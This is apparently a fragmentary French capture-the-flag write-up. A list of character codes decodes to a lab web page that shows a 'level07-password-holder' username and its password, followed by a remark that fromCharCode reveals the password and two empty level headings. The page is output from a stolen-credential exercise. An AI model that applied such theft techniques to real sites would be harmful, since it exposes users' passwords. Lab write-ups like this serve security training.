60, 33, 100, 111, 99, 116, 121, 112, 101, 32, 104, 116, 109, 108, 62, 10, 60, 104, 116, 109, 108, 62, 10, 32, 32, 60, 104, 101, 97, 100, 62, 10, 32, 32, 32, 32, 60, 116, 105, 116, 108, 101, 62, 83, 116, 114, 101, 97, 109, 101, 114, 60, 47, 116, 105, 116, 108, 101, 62, 10, 32, 32, 32, 32, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 106, 115, 47, 106, 113, 117, 101, 114, 121, 45, 49, 46, 56, 46, 48, 46, 109, 105, 110, 46, 106, 115, 39, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 10, 32, 32, 32, 32, 60, 108, 105, 110, 107, 32, 114, 101, 108, 61, 39, 115, 116, 121, 108, 101, 115, 104, 101, 101, 116, 39, 32, 116, 121, 112, 101, 61, 39, 116, 101, 120, 116, 47, 99, 115, 115, 39, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 104, 114, 101, 102, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 99, 115, 115, 47, 98, 111, 111, 116, 115, 116, 114, 97, 112, 45, 99, 111, 109, 98, 105, 110, 101, 100, 46, 109, 105, 110, 46, 99, 115, 115, 39, 32, 47, 62, 10, 32, 32, 60, 47, 104, 101, 97, 100, 62, 10, 32, 32, 60, 98, 111, 100, 121, 62, 10, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 110, 97, 118, 98, 97, 114, 39, 62, 10, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 110, 97, 118, 98, 97, 114, 45, 105, 110, 110, 101, 114, 39, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 99, 111, 110, 116, 97, 105, 110, 101, 114, 39, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 97, 32, 99, 108, 97, 115, 115, 61, 39, 98, 114, 97, 110, 100, 39, 32, 104, 114, 101, 102, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 39, 62, 83, 116, 114, 101, 97, 109, 101, 114, 60, 47, 97, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 117, 108, 32, 99, 108, 97, 115, 115, 61, 39, 110, 97, 118, 32, 112, 117, 108, 108, 45, 114, 105, 103, 104, 116, 39, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 108, 105, 62, 60, 97, 32, 104, 114, 101, 102, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 108, 111, 103, 111, 117, 116, 39, 62, 76, 111, 103, 32, 79, 117, 116, 60, 47, 97, 62, 60, 47, 108, 105, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 47, 117, 108, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 99, 111, 110, 116, 97, 105, 110, 101, 114, 39, 62, 10, 10, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 114, 111, 119, 39, 62, 10, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 115, 112, 97, 110, 49, 50, 39, 62, 10, 32, 32, 32, 32, 60, 104, 51, 62, 85, 115, 101, 114, 32, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 60, 47, 104, 51, 62, 10, 32, 32, 32, 32, 60, 116, 97, 98, 108, 101, 32, 99, 108, 97, 115, 115, 61, 39, 116, 97, 98, 108, 101, 32, 116, 97, 98, 108, 101, 45, 99, 111, 110, 100, 101, 110, 115, 101, 100, 39, 62, 10, 32, 32, 32, 32, 32, 32, 60, 116, 114, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 104, 62, 85, 115, 101, 114, 110, 97, 109, 101, 58, 60, 47, 116, 104, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 100, 62, 108, 101, 118, 101, 108, 48, 55, 45, 112, 97, 115, 115, 119, 111, 114, 100, 45, 104, 111, 108, 100, 101, 114, 60, 47, 116, 100, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 116, 114, 62, 10, 32, 32, 32, 32, 32, 32, 60, 116, 114, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 104, 62, 80, 97, 115, 115, 119, 111, 114, 100, 58, 60, 47, 116, 104, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 100, 62, 39, 68, 83, 109, 98, 88, 77, 102, 87, 112, 107, 106, 88, 34, 60, 47, 116, 100, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 116, 114, 62, 10, 32, 32, 32, 32, 60, 47, 116, 97, 98, 108, 101, 62, 10, 32, 32, 60, 47, 100, 105, 118, 62, 10, 60, 47, 100, 105, 118, 62, 10, 10, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 60, 47, 98, 111, 100, 121, 62, 10, 60, 47, 104, 116, 109, 108, 62, 10
Un coup de ''fromCharCode'' et on obtient son mot de passe
====== Level 7 ======
====== Level 8 ======